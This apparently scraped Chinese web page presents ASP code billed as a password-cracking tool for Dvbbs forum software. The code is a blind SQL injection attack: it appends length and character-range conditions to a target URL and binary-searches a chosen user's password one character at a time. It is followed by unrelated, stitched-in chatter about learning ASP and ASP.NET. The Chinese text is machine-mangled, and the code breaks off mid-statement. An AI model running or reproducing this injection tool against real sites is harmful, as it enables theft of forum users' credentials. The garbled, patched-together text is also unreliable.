ASP网站制作之动网论坛暗码暴力破解程序代码
ASP.NET和ASP的比较,技术上比较已经没什么可说的了.新一代在大部分程度来说当然是比旧一代好了.关键看你对所做软件的理解了.因人而定.会写的话也可能比ASP.NET写得更有效率和更方便重用程序|破解<%response.buffer=false
为避免程序堕入逝世轮回，初始化一些最年夜重试值
DimMaxPassLen,MaxPassAsc
MaxPassLen=20暗码最年夜长度
MaxPassAsc=20
====字符转换
Functionbytes2BSTR(vIn)
strReturn=""
Forj=1ToLenB(vIn)
ThisCharCode=AscB(MidB(vIn,j,1))
IfThisCharCode<&H80Then
strReturn=strReturn&Chr(ThisCharCode)
Else
NextCharCode=AscB(MidB(vIn,j+1,1))
strReturn=strReturn&Chr(CLng(ThisCharCode)*&H100+CInt(NextCharCode))
j=j+1
EndIf
Next
bytes2BSTR=strReturn
EndFunction
上面是取网页内容==========
FunctionGetUrl(Url)
setoSend=createobject("Microsoft.XMLHTTP")
SourceCode=oSend.open("GET",url,false)
oSend.send()
SourceCode=bytes2BSTR(oSend.responseBody)
GetUrl=SourceCode
EndFunction
上面是判别前往页面效果
FunctionChkPage(SourceCode,SucKey,ErrKey)
ifInstr(SourceCode,SucKey)>0then
ChkPage=true页面前往乐成
exitfunction
endif
ifInstr(SourceCode,ErrKey)>0then
ChkPage=false页面堕落
exitfunction
endif
ChkPage=false关头字信息不合错误大概是页面未毗连
response.write("关头字信息不合错误大概是页面未毗连")
response.end
EndFunction
入手下手破解
Dimurl,username,password,SucKey,
DimPassLenUrl
DimPassLen
DimChkPassLen
Ifrequest("begin")""then
response.cookies("PassLen")=0
url=request("url")
username=request("username")
password=request("password")
SucKey=request("SucKey")
ErrKey=request("ErrKey")
response.write("第一步，破解暗码长度<BR>")
PassLen=1
ChkPassLen=false
DowhilenotChkPassLen
PassLenUrl=Url&username&"%20and%20len("&password&")="&PassLen&"%20and%201=1"
response.write("以后测试暗码位数为“"&PassLen&"”，请稍等......<BR>")
ChkPassLen=ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey)
IfChkPassLenThen
response.write("乐成！！！暗码位数已测试出来了，入手下手测试详细位数<BR>")
exitdo
Else
response.write("不可，持续下一名测试！<BR>")
EndIf
IfPassLen>MaxPassLenthen
response.write("暗码位数未能测试出，请确认是不是有此用户或从头调剂暗码长度局限")
response.end
exitdo
EndIf
PassLen=PassLen+1
Loop
response.write("<FONTCOLOR=red>已测试出暗码长度为"&PassLen&"，入手下手测试详细暗码值</FONT><BR><BR>")
轮回每位
DimAsc1,Asc2,Asc10,Asc20,Ascstr
DimAscArr(PassLen)
DimChkPass,Asctemp1,Asctemp,count
Ascstr=""
Fori=1toPassLen
ChkPass=false
Asc1=33
Asc2=126
response.write"入手下手破解第"&i&"位暗码<BR>"
用二分法取asc码局限
count=1
suc=false
Dowhilenotsuc
Asctemp1=Asctemp
if(Asc2-Asc1)mod2=1then
Asctemp=(Asc2-Asc1-1)/2
else
Asctemp=(Asc2-Asc1)/2
endif
response.write"规定暗码局限为："&chr(Asc1)&"--"&chr(Asc2)&PassLenUrl&"<BR>"
PassLenUrl=Url&username&"%20and%20asc(mid(password,"&i&",1))>="&int(Asc1)&"%20and%20asc(mid(password,"&i&",1))<="&int(Asc2)&"%20and%201=1"
response.write"规定暗码局限为："&chr(Asc1)&"--"&chr(Asc2)&PassLenUrl&"<BR>"
ChkPass=ChkPage(GetUrl(PassLenUrl),SucKey,ErrKey)
ifAsc1=33andAsc2=126andnotChkPassthen
response.write"暗码不在所设定ASC码局限内"
response.end
exitdo
endif
ifChkPassthen
Asc10=Asc1
Asc20=Asc2
response.write("暗码在该局限内<BR>")
ifAsc1=Asc2thenSuc=true
Asc2=Asc1+Asctemp
else
Asc1=Asc20-Asctemp1
Asc2=Asc20
response.write("不在该局限内，改试另外一局限<BR>")
endif
count=count+1
ifcount>MaxPassAscthen
response.write("逝世轮回了！")
response.end
exitdo
endif
Loop
Ascstr=Ascstr&chr(Asc1)
response.write"<BR>以后破解进度（“"&Ascstr&"”）<BR><BR><BR><BR>"
Next
response.write"<FONTSIZE=7COLOR=red</p>大家可以自己去看一看.可以说看得想呕吐.以前有次下了个动网来看.里面连基本内置函数的保护措施(函数没防御性)都没有.难怪经常补这个补那个了.可能现在.NET版会好点吧 没有坚实的理论做基础，那么我们连踏入社会第一步的资本都没有，特别对于计算机专业的学生学好专业知识是置关重要的。在这里我侧重讲一下如何学习ASP，从平时的学习过程中。 你可以通过继承已有的对象最大限度保护你以前的投资。并且C#和C++、Java一样提供了完善的调试/纠错体系。 那么，ASP.Net有哪些改进呢？ 如何学好ASP,以前也有人问过,把回答给你转过来看看能否对你有帮助: 以HTML语言整合(HTML负责界面上，ASP则负责功能上)形成一个B/S(浏览器/服务器)模式的网页程序。 如何更好的使自己的东西看上去很不错等等。其实这些都不是问题的实质，我们可以在实践中不断提升自己，不断充实自己。 掌握asp的特性而且一定要知道为什么。 下载一个源代码，然后再下载一个VBScript帮助，在源代码中遇到不认识的函数或是其他什么程序，都可以查帮助进行解决，这样学习效率很高。 掌握asp的特性而且一定要知道为什么。 ASP的语言不仅仅只是命令格式差不多，而是包含在<%%>之内的命令完全就是VB语法。虽然ASP也是做为单独的一个技术来提出的，但他就是完全继承了VB所有的功能。
页:
[1]